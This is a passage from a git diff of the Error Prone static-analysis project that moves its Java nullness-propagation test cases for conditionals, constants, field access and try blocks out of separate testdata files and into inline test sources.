contains: (Null) + triggerNullnessChecker(str2); } - @Test - public void transferFunctions2() { - compilationHelper.addSourceFile("testdata/NullnessPropagationTransferCases2.java").doTest(); - } + public void notEqualOneNullableOtherNull(String nullableParam) { + String str1 = nullableParam; + if (str1 != null) { + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(str1); + } else { + // BUG: Diagnostic contains: (Null) + triggerNullnessChecker(str1); + } + // BUG: Diagnostic contains: (Nullable) + triggerNullnessChecker(str1); - @Test - public void transferFunctions3() { - compilationHelper.addSourceFile("testdata/NullnessPropagationTransferCases3.java").doTest(); + if (null != str1) { + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(str1); + } else { + // BUG: Diagnostic contains: (Null) + triggerNullnessChecker(str1); + } + // BUG: Diagnostic contains: (Nullable) + triggerNullnessChecker(str1); + + String str2 = null; + if (str1 != str2) { + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(str1); + // BUG: Diagnostic contains: (Null) + triggerNullnessChecker(str2); + } else { + // BUG: Diagnostic contains: (Null) + triggerNullnessChecker(str1); + // BUG: Diagnostic contains: (Null) + triggerNullnessChecker(str2); + } + // BUG: Diagnostic contains: (Nullable) + triggerNullnessChecker(str1); + // BUG: Diagnostic contains: (Null) + triggerNullnessChecker(str2); + + if (str2 != str1) { + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(str1); + // BUG: Diagnostic contains: (Null) + triggerNullnessChecker(str2); + } else { + // BUG: Diagnostic contains: (Null) + triggerNullnessChecker(str1); + // BUG: Diagnostic contains: (Null) + triggerNullnessChecker(str2); + } + // BUG: Diagnostic contains: (Nullable) + triggerNullnessChecker(str1); + // BUG: Diagnostic contains: (Null) + triggerNullnessChecker(str2); } - @Test - public void transferFunctions4() { - compilationHelper.addSourceFile("testdata/NullnessPropagationTransferCases4.java").doTest(); + public void notEqualOneNullableOtherNonNull(String nullableParam) { + String str1 = nullableParam; + if (str1 != "foo") { + // BUG: Diagnostic contains: (Nullable) + triggerNullnessChecker(str1); + } else { + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(str1); + } + // BUG: Diagnostic contains: (Nullable) + triggerNullnessChecker(str1); + + if ("foo" != str1) { + // BUG: Diagnostic contains: (Nullable) + triggerNullnessChecker(str1); + } else { + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(str1); + } + // BUG: Diagnostic contains: (Nullable) + triggerNullnessChecker(str1); + + String str2 = "foo"; + if (str1 != str2) { + // BUG: Diagnostic contains: (Nullable) + triggerNullnessChecker(str1); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(str2); + } else { + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(str1); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(str2); + } + // BUG: Diagnostic contains: (Nullable) + triggerNullnessChecker(str1); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(str2); + + if (str2 != str1) { + // BUG: Diagnostic contains: (Nullable) + triggerNullnessChecker(str1); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(str2); + } else { + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(str1); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(str2); + } + // BUG: Diagnostic contains: (Nullable) + triggerNullnessChecker(str1); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(str2); } - @Test - public void transferFunctions5() { - compilationHelper.addSourceFile("testdata/NullnessPropagationTransferCases5.java").doTest(); + // TODO(eaftan): tests for bottom? +}""") + .doTest(); } @Test public void transferFunctions6() { - compilationHelper.addSourceFile("testdata/NullnessPropagationTransferCases6.java").doTest(); + compilationHelper + .addSourceLines( + "NullnessPropagationTransferCases6.java", + """ +package com.google.errorprone.dataflow.nullnesspropagation.testdata; + +import static com.google.errorprone.dataflow.nullnesspropagation.NullnessPropagationTest.triggerNullnessChecker; +import static com.google.errorprone.dataflow.nullnesspropagation.NullnessPropagationTest.triggerNullnessCheckerOnPrimitive; +import static com.google.errorprone.dataflow.nullnesspropagation.testdata.NullnessPropagationTransferCases6.MyEnum.ENUM_INSTANCE; + +/** + * Tests for: + * + *

    + *
  • bitwise operations + *
  • numerical operations and comparisons + *
  • plain {@code visitNode} + *
  • name shadowing + *
+ */ +public class NullnessPropagationTransferCases6 { + enum MyEnum { + ENUM_INSTANCE; + } + + public void bitwiseOperations() { + // BUG: Diagnostic contains: (Non-null) + triggerNullnessCheckerOnPrimitive(1 | 2); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessCheckerOnPrimitive(1 & 2); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessCheckerOnPrimitive(1 ^ 2); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessCheckerOnPrimitive(~1); + } + + public void bitwiseOperationsAreDereferences(Integer i) { + /* + * This next part has nothing to do with bitwise operations per se. The reason that it works is + * that we recognize the implicit intValue() call as a dereference. + */ + // BUG: Diagnostic contains: (Nullable) + triggerNullnessChecker(i); + int unused = ~i; + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(i); + } + + public void numercialOperations() { + // BUG: Diagnostic contains: (Non-null) + triggerNullnessCheckerOnPrimitive(1 + 2); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessCheckerOnPrimitive(1 - 2); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessCheckerOnPrimitive(1 * 2); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessCheckerOnPrimitive(1 / 2); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessCheckerOnPrimitive(1 % 2); + + // BUG: Diagnostic contains: (Non-null) + triggerNullnessCheckerOnPrimitive(1.0 / 2); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessCheckerOnPrimitive(1.0 % 2); + + // BUG: Diagnostic contains: (Non-null) + triggerNullnessCheckerOnPrimitive(1 << 2); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessCheckerOnPrimitive(1 >> 2); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessCheckerOnPrimitive(1 >>> 2); + + int i = 1; + // BUG: Diagnostic contains: (Non-null) + triggerNullnessCheckerOnPrimitive(+i); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessCheckerOnPrimitive(-i); + } + + public void numericalOperationsAreDereferences(Integer i) { + // See bitwiseOperationsAreDereferences for some background. + + // BUG: Diagnostic contains: (Nullable) + triggerNullnessChecker(i); + int unused = i + i; + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(i); + } + + public void numercialComparisons() { + // BUG: Diagnostic contains: (Non-null) + triggerNullnessCheckerOnPrimitive(1 < 2); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessCheckerOnPrimitive(1 > 2); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessCheckerOnPrimitive(1 <= 2); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessCheckerOnPrimitive(1 >= 2); + } + + public void numericalComparisonsAreDereferences(Integer a, Integer b) { + // See bitwiseOperationsAreDereferences for some background. + + // BUG: Diagnostic contains: (Nullable) + triggerNullnessChecker(a); + // BUG: Diagnostic contains: (Nullable) + triggerNullnessChecker(b); + int unused = a + b; + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(a); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(b); + } + + public void vanillaVisitNode() { + String[] a = new String[1]; + // BUG: Diagnostic contains: (Nullable) + triggerNullnessChecker(a[0]); + } + + public void sameNameImmediatelyShadowed() { + final String s = "foo"; + + class Bar { + void method(String s) { + // BUG: Diagnostic contains: (Nullable) + triggerNullnessChecker(s); + } + } + } + + public void sameNameLaterShadowed() { + final String s = "foo"; + + class Bar { + void method() { + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(s); + + String s = HasStaticFields.staticStringField; + // BUG: Diagnostic contains: (Nullable) + triggerNullnessChecker(s); + } + } + } + + public void sameNameShadowedThenUnshadowed() { + final String s = HasStaticFields.staticStringField; + + class Bar { + void method() { + { + String s = "foo"; + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(s); + } + + // BUG: Diagnostic contains: (Nullable) + triggerNullnessChecker(s); + } + } + } + + public void nonCompileTimeConstantCapturedVariable() { + final Object nonnull = ENUM_INSTANCE; + + class Bar { + void method() { + /* + * We'd prefer for this to be non-null, but we don't run the analysis over the enclosing + * class's enclosing method, so our captured-variable handling is limited to compile-time + * constants, which include only primitives and strings: + * http://docs.oracle.com/javase/specs/jls/se7/html/jls-15.html#jls-15.28 + */ + // BUG: Diagnostic contains: (Nullable) + triggerNullnessChecker(nonnull); + } + } + } + + static class HasStaticFields { + static String staticStringField; + } +}""") + .doTest(); } @Test public void transferFunctions7() { - compilationHelper.addSourceFile("testdata/NullnessPropagationTransferCases7.java").doTest(); + compilationHelper + .addSourceLines( + "NullnessPropagationTransferCases7.java", + """ +package com.google.errorprone.dataflow.nullnesspropagation.testdata; + +import static com.google.errorprone.dataflow.nullnesspropagation.NullnessPropagationTest.triggerNullnessChecker; +import static com.google.errorprone.dataflow.nullnesspropagation.NullnessPropagationTest.triggerNullnessCheckerOnBoxed; +import static com.google.errorprone.dataflow.nullnesspropagation.NullnessPropagationTest.triggerNullnessCheckerOnPrimitive; +import static com.google.errorprone.dataflow.nullnesspropagation.testdata.NullnessPropagationTransferCases7.HasStaticFields.staticIntField; +import static com.google.errorprone.dataflow.nullnesspropagation.testdata.NullnessPropagationTransferCases7.HasStaticFields.staticStringField; + +/** Tests for field accesses and assignments. */ +public class NullnessPropagationTransferCases7 { + private static class MyClass { + int field; + } + + private static class MyContainerClass { + MyClass field; + } + + enum MyEnum { + ENUM_INSTANCE; + } + + static class HasStaticFields { + static String staticStringField; + static int staticIntField; + } + + private int i; + private String str; + private Object obj; + + private Integer boxedIntReturningMethod() { + return null; + } + + public void field() { + // BUG: Diagnostic contains: (Non-null) + triggerNullnessCheckerOnPrimitive(i); + + // BUG: Diagnostic contains: (Non-null) + triggerNullnessCheckerOnBoxed(i); + + // BUG: Diagnostic contains: (Nullable) + triggerNullnessChecker(str); + + // BUG: Diagnostic contains: (Nullable) + triggerNullnessChecker(obj); + } + + public void fieldQualifiedByThis() { + // BUG: Diagnostic contains: (Non-null) + triggerNullnessCheckerOnPrimitive(this.i); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessCheckerOnBoxed(this.i); + } + + public void fieldQualifiedByOtherVar() { + NullnessPropagationTransferCases7 self = this; + + // BUG: Diagnostic contains: (Non-null) + triggerNullnessCheckerOnPrimitive(self.i); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessCheckerOnBoxed(self.i); + } + + public void fieldAccessIsDereference(MyClass nullableParam) { + MyClass mc = nullableParam; + int i = mc.field; + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(mc); + } + + public void staticFieldAccessIsNotDereferenceNullableReturn(HasStaticFields nullableParam) { + String s = nullableParam.staticStringField; + // BUG: Diagnostic contains: (Nullable) + triggerNullnessChecker(nullableParam); + } + + public void staticFieldAccessIsNotDereferenceNonNullReturn(MyEnum nullableParam) { + MyEnum x = nullableParam.ENUM_INSTANCE; + // BUG: Diagnostic contains: (Nullable) + triggerNullnessChecker(nullableParam); + } + + public void fieldAssignmentIsDereference(MyClass nullableParam) { + MyClass mc = nullableParam; + mc.field = 0; + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(mc); + } + + public void chainedFieldAssignmentIsDereference(MyClass nullableParam) { + MyClass mc = nullableParam; + MyContainerClass container = new MyContainerClass(); + container.field.field = 0; + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(container); + } + + public void staticFieldAssignmentIsNotDereferenceNullableReturn(HasStaticFields nullableParam) { + nullableParam.staticStringField = "foo"; + // BUG: Diagnostic contains: (Nullable) + triggerNullnessChecker(nullableParam); + } + + public void staticFieldAssignmentIsNotDereferenceNonNullReturn(HasStaticFields nullableParam) { + nullableParam.staticIntField = 0; + // BUG: Diagnostic contains: (Nullable) + triggerNullnessChecker(nullableParam); + } + + public void staticFieldAccessIsNotDereferenceButPreservesExistingInformation() { + HasStaticFields container = new HasStaticFields(); + String s = container.staticStringField; + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(container); + } + + public void trackFieldValues() { + MyContainerClass container = new MyContainerClass(); + container.field = new MyClass(); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(container.field); + + container.field.field = 10; + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(container.field); + } + + public void assignmentToFieldExpressionValue() { + MyContainerClass container = new MyContainerClass(); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(container.field = new MyClass()); + } + + public void assignmentToPrimitiveFieldExpressionValue() { + MyClass mc = new MyClass(); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessCheckerOnPrimitive(mc.field = 10); + } + + public void assignmentToStaticImportedFieldExpressionValue() { + // BUG: Diagnostic contains: (Null) + triggerNullnessChecker(staticStringField = null); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(staticStringField = "foo"); + } + + public void assignmentToStaticImportedPrimitiveFieldExpressionValue() { + // BUG: Diagnostic contains: (Non-null) + triggerNullnessCheckerOnPrimitive(staticIntField = boxedIntReturningMethod()); + } + + public void nullableAssignmentToPrimitiveFieldExpressionValue() { + MyClass mc = new MyClass(); + // BUG: Diagnostic contains: (Non-null) + triggerNullnessCheckerOnPrimitive(mc.field = boxedIntReturningMethod()); + } +}""") + .doTest(); } @Test public void transferFunctions8() { - compilationHelper.addSourceFile("testdata/NullnessPropagationTransferCases8.java").doTest(); + compilationHelper + .addSourceLines( + "NullnessPropagationTransferCases8.java", + """ +package com.google.errorprone.dataflow.nullnesspropagation.testdata; + +import static com.google.errorprone.dataflow.nullnesspropagation.NullnessPropagationTest.triggerNullnessChecker; + +import java.io.ByteArrayOutputStream; +import java.io.OutputStream; + +/** Tests for {@code try} blocks. */ +public class NullnessPropagationTransferCases8 { + public void caughtException() { + try { + System.out.println(); + } catch (Throwable t) { + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(t); + + t = something(); + // BUG: Diagnostic contains: (Nullable) + triggerNullnessChecker(t); + } + } + + void tryWithResources() throws Exception { + try (OutputStream out = something()) { + // BUG: Diagnostic contains: (Nullable) + triggerNullnessChecker(out); + } + + try (OutputStream out = new ByteArrayOutputStream()) { + // BUG: Diagnostic contains: (Non-null) + triggerNullnessChecker(out); + } + } + + T something() { + return null; + } +}""") + .doTest(); } @Test diff --git a/core/src/test/java/com/google/errorprone/dataflow/nullnesspropagation/testdata/NullnessPropagationTransferCases1.java b/core/src/test/java/com/google/errorprone/dataflow/nullnesspropagation/testdata/NullnessPropagationTransferCases1.java deleted file mode 100644 index c9b72e282e0..00000000000 --- a/core/src/test/java/com/google/errorprone/dataflow/nullnesspropagation/testdata/NullnessPropagationTransferCases1.java +++ /dev/null @@ -1,180 +0,0 @@ -/* - * Copyright 2014 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.dataflow.nullnesspropagation.testdata; - -import static com.google.errorprone.dataflow.nullnesspropagation.NullnessPropagationTest.triggerNullnessChecker; -import static com.google.errorprone.dataflow.nullnesspropagation.NullnessPropagationTest.triggerNullnessCheckerOnPrimitive; - -/** - * Dataflow analysis cases for testing transfer functions in nullness propagation, primarily around - * conditionals. - */ -public class NullnessPropagationTransferCases1 { - - public void conditionalNot(String foo) { - if (!(foo == null)) { - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(foo); - return; - } - - // BUG: Diagnostic contains: (Null) - triggerNullnessChecker(foo); - } - - public void conditionalOr1(String foo, String bar) { - if (foo == null || bar == null) { - // BUG: Diagnostic contains: (Nullable) - triggerNullnessChecker(foo); - // BUG: Diagnostic contains: (Nullable) - triggerNullnessChecker(bar); - return; - } - - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(foo); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(bar); - } - - public void conditionalOr2(String foo, String bar) { - if (foo != null || bar != null) { - // BUG: Diagnostic contains: (Nullable) - triggerNullnessChecker(foo); - } - - // BUG: Diagnostic contains: (Nullable) - triggerNullnessChecker(foo); - } - - public void conditionalOr3(String foo) { - if (foo != null || foo != null) { - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(foo); - } - - // BUG: Diagnostic contains: (Nullable) - triggerNullnessChecker(foo); - } - - public void conditionalOr4(String foo) { - // BUG: Diagnostic contains: (Non-null) - if (foo == null || triggerNullnessChecker(foo) == null) { - // BUG: Diagnostic contains: (Nullable) - triggerNullnessChecker(foo); - } - - // BUG: Diagnostic contains: (Null) - if (foo != null || triggerNullnessChecker(foo) != null) { - // BUG: Diagnostic contains: (Nullable) - triggerNullnessChecker(foo); - } - - // BUG: Diagnostic contains: (Nullable) - triggerNullnessChecker(foo); - } - - public void conditionalAnd1(String foo, String bar) { - if (foo != null && bar != null) { - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(foo); - } - - // BUG: Diagnostic contains: (Nullable) - triggerNullnessChecker(foo); - } - - public void conditionalAnd2(String foo) { - if (foo == null && foo != null) { - // BUG: Diagnostic contains: (Bottom) - triggerNullnessChecker(foo); - return; - } - - // BUG: Diagnostic contains: (Nullable) - triggerNullnessChecker(foo); - } - - public void conditionalAnd3(String foo) { - // BUG: Diagnostic contains: (Null) - if (foo == null && triggerNullnessChecker(foo) == null) { - // Something - } - - // BUG: Diagnostic contains: (Non-null) - if (foo != null && triggerNullnessChecker(foo) != null) { - // Something - } - - // BUG: Diagnostic contains: (Nullable) - triggerNullnessChecker(foo); - } - - public void ternary1(String nullable) { - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(nullable == null ? "" : nullable); - // BUG: Diagnostic contains: (Null) - triggerNullnessChecker(nullable != null ? null : nullable); - } - - public void ternary2(boolean test, String nullable) { - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(test ? "yes" : "no"); - // BUG: Diagnostic contains: (Nullable) - triggerNullnessChecker(test ? nullable : ""); - } - - public void valueOfComparisonItself() { - // BUG: Diagnostic contains: (Non-null) - triggerNullnessCheckerOnPrimitive(1 == 1); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessCheckerOnPrimitive(1 != 1); - boolean b; - // BUG: Diagnostic contains: (Non-null) - triggerNullnessCheckerOnPrimitive(b = (1 == 1)); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessCheckerOnPrimitive(b = (1 != 1)); - - // BUG: Diagnostic contains: (Non-null) - triggerNullnessCheckerOnPrimitive(!b); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessCheckerOnPrimitive(b || b); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessCheckerOnPrimitive(b && b); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessCheckerOnPrimitive(b = !b); - } - - public void leastUpperBoundOfNonNullAndUnknown(String param, boolean b) { - if (b) { - param = "foo"; - } - // BUG: Diagnostic contains: (Nullable) - triggerNullnessChecker(param); - } - - public void stringConcatenation(String a, String b) { - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(a + b); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(null + b); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(a + 5); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(null + (String) null); - } -} diff --git a/core/src/test/java/com/google/errorprone/dataflow/nullnesspropagation/testdata/NullnessPropagationTransferCases2.java b/core/src/test/java/com/google/errorprone/dataflow/nullnesspropagation/testdata/NullnessPropagationTransferCases2.java deleted file mode 100644 index 6e072fdf51f..00000000000 --- a/core/src/test/java/com/google/errorprone/dataflow/nullnesspropagation/testdata/NullnessPropagationTransferCases2.java +++ /dev/null @@ -1,345 +0,0 @@ -/* - * Copyright 2014 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.dataflow.nullnesspropagation.testdata; - -import static com.google.common.base.Preconditions.checkNotNull; -import static com.google.common.base.Verify.verifyNotNull; -import static com.google.errorprone.dataflow.nullnesspropagation.NullnessPropagationTest.triggerNullnessChecker; -import static com.google.errorprone.dataflow.nullnesspropagation.NullnessPropagationTest.triggerNullnessCheckerOnPrimitive; -import static com.google.errorprone.dataflow.nullnesspropagation.testdata.NullnessPropagationTransferCases2.MyEnum.ENUM_INSTANCE; -import static java.lang.String.format; -import static java.lang.String.valueOf; - -import com.google.common.base.Optional; -import com.google.common.base.Strings; -import java.math.BigInteger; -import java.util.Objects; - -/** - * Dataflow analysis cases for testing transfer functions in nullness propagation around constants - * and built-in knowledge. - */ -@SuppressWarnings("deprecation") // test cases include deprecated JUnit methods -public class NullnessPropagationTransferCases2 { - private static class MyClass { - static String staticReturnNullable() { - return null; - } - } - - static final int CONSTANT_INT = 1; - static final Integer CONSTANT_BOXED_INTEGER = 1; - static final Integer CONSTANT_DERIVED_INTEGER = (Integer) (CONSTANT_INT); - static final Boolean CONSTANT_DERIVED_BOOLEAN = CONSTANT_INT == 1; - static final String CONSTANT_STRING = "foo"; - static final String CONSTANT_NULL_STRING = null; - static final String CONSTANT_DERIVED_STRING = CONSTANT_DERIVED_BOOLEAN ? CONSTANT_STRING : ""; - static final MyClass CONSTANT_OTHER_CLASS = new MyClass(); - static final Integer[] CONSTANT_OBJECT_ARRAY = new Integer[7]; - static final Integer[] CONSTANT_ARRAY_INITIALIZER = {Integer.valueOf(5)}; - static final Object CONSTANT_NO_INITIALIZER; - - static { - CONSTANT_NO_INITIALIZER = new Object(); - } - - public void constants() { - // BUG: Diagnostic contains: (Non-null) - triggerNullnessCheckerOnPrimitive(CONSTANT_INT); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(CONSTANT_BOXED_INTEGER); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(CONSTANT_DERIVED_INTEGER); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(CONSTANT_DERIVED_BOOLEAN); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(CONSTANT_STRING); - // BUG: Diagnostic contains: (Null) - triggerNullnessChecker(CONSTANT_NULL_STRING); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(CONSTANT_DERIVED_STRING); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(CONSTANT_OTHER_CLASS); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(CONSTANT_OBJECT_ARRAY); - // BUG: Diagnostic contains: (Nullable) - triggerNullnessChecker(CONSTANT_OBJECT_ARRAY[0]); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(CONSTANT_ARRAY_INITIALIZER); - // BUG: Diagnostic contains: (Nullable) - triggerNullnessChecker(CONSTANT_NO_INITIALIZER); - } - - public static final MyBigInteger CIRCULAR = MyBigInteger.CIRCLE; - - public void circularInitialization() { - // BUG: Diagnostic contains: (Null) - triggerNullnessChecker(MyBigInteger.CIRCLE); - } - - static class MyBigInteger extends BigInteger { - // Shadows BigInteger.ONE. - public static final MyBigInteger ONE = null; - // Creates circular initializer dependency. - public static final MyBigInteger CIRCLE = NullnessPropagationTransferCases2.CIRCULAR; - - MyBigInteger(String val) { - super(val); - } - - // Has the same signature as a BigInteger method. In other words, our method hides that one. - public static BigInteger valueOf(long val) { - return null; - } - } - - public void builtInConstants() { - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(BigInteger.ZERO); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(MyBigInteger.ZERO); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(BigInteger.ONE); - // BUG: Diagnostic contains: (Null) - triggerNullnessChecker(MyBigInteger.ONE); - } - - enum MyEnum { - ENUM_INSTANCE; - - static MyEnum valueOf(char c) { - return null; - } - - public static final MyEnum NOT_COMPILE_TIME_CONSTANT = ENUM_INSTANCE; - public static final MyEnum UNKNOWN_VALUE_CONSTANT = instance(); - - public static MyEnum instance() { - return ENUM_INSTANCE; - } - } - - public void enumConstants() { - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(MyEnum.ENUM_INSTANCE); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(ENUM_INSTANCE); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(MyEnum.NOT_COMPILE_TIME_CONSTANT); - // BUG: Diagnostic contains: (Nullable) - triggerNullnessChecker(MyEnum.UNKNOWN_VALUE_CONSTANT); - } - - public void explicitValueOf() { - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(String.valueOf(3)); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(valueOf(3)); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(Integer.valueOf(null)); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(BigInteger.valueOf(3)); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(Enum.valueOf(MyEnum.class, "INSTANCE")); - - // We'd prefer this to be Non-null. See the TODO on CLASSES_WITH_NON_NULLABLE_VALUE_OF_METHODS. - // BUG: Diagnostic contains: (Nullable) - triggerNullnessChecker(MyEnum.valueOf("INSTANCE")); - - // BUG: Diagnostic contains: (Nullable) - triggerNullnessChecker(MyBigInteger.valueOf(3)); - // BUG: Diagnostic contains: (Nullable) - triggerNullnessChecker(MyEnum.valueOf('a')); - } - - public void methodInvocationIsDereference(String nullableParam) { - String str = nullableParam; - str.toString(); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(str); - } - - public void booleanMethodInvocationIsDereference(String nullableParam) { - String str = nullableParam; - str.isEmpty(); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(str); - } - - public void staticMethodInvocationIsNotDereferenceNullableReturn(MyClass nullableParam) { - nullableParam.staticReturnNullable(); - // BUG: Diagnostic contains: (Nullable) - triggerNullnessChecker(nullableParam); - } - - public void staticMethodInvocationIsNotDereferenceNonNullReturn(String nullableParam) { - nullableParam.valueOf(true); - // BUG: Diagnostic contains: (Nullable) - triggerNullnessChecker(nullableParam); - } - - public void staticMethodInvocationIsNotDereferenceButPreservesExistingInformation() { - String s = "foo"; - s.format("%s", "foo"); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(s); - } - - public void staticMethodInvocationIsNotDereferenceButDefersToOtherNewInformation(String s) { - s = s.valueOf(true); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(s); - } - - public void classgetNamesMethods() { - Class klass = this.getClass(); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(klass.getName()); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(klass.getSimpleName()); - // BUG: Diagnostic contains: (Nullable) - triggerNullnessChecker(klass.getCanonicalName()); - } - - public void stringStaticMethodsReturnNonNull() { - String s = null; - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(String.format("%s", "foo")); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(format("%s", "foo")); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(s.format("%s", "foo")); - } - - public void stringInstanceMethodsReturnNonNull() { - String s = null; - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(s.substring(0)); - } - - public void requireNonNullReturnsNonNull(String s) { - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(Objects.requireNonNull(s)); - } - - public void requireNonNullUpdatesVariableNullness(String s) { - Objects.requireNonNull(s); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(s); - } - - public void checkNotNullReturnsNonNull(String s) { - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(checkNotNull(s)); - } - - public void checkNotNullUpdatesVariableNullness(String s) { - checkNotNull(s); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(s); - } - - public void verifyNotNullReturnsNonNull(String s) { - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(verifyNotNull(s)); - } - - public void verifyNotNullUpdatesVariableNullness(String s) { - verifyNotNull(s); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(s); - } - - public void junit3AssertNotNullOneArgUpdatesVariableNullness(Object o) { - junit.framework.Assert.assertNotNull(o); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(o); - } - - public void junit3AssertNotNullTwoArgUpdatesVariableNullness(String message, Object o) { - junit.framework.Assert.assertNotNull(message, o); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(o); - // BUG: Diagnostic contains: (Nullable) - triggerNullnessChecker(message); - } - - public void junit4AssertNotNullOneArgUpdatesVariableNullness(Object o) { - org.junit.Assert.assertNotNull(o); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(o); - } - - public void junit4AssertNotNullTwoArgUpdatesVariableNullness(String message, Object o) { - org.junit.Assert.assertNotNull(message, o); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(o); - // BUG: Diagnostic contains: (Nullable) - triggerNullnessChecker(message); - } - - public void 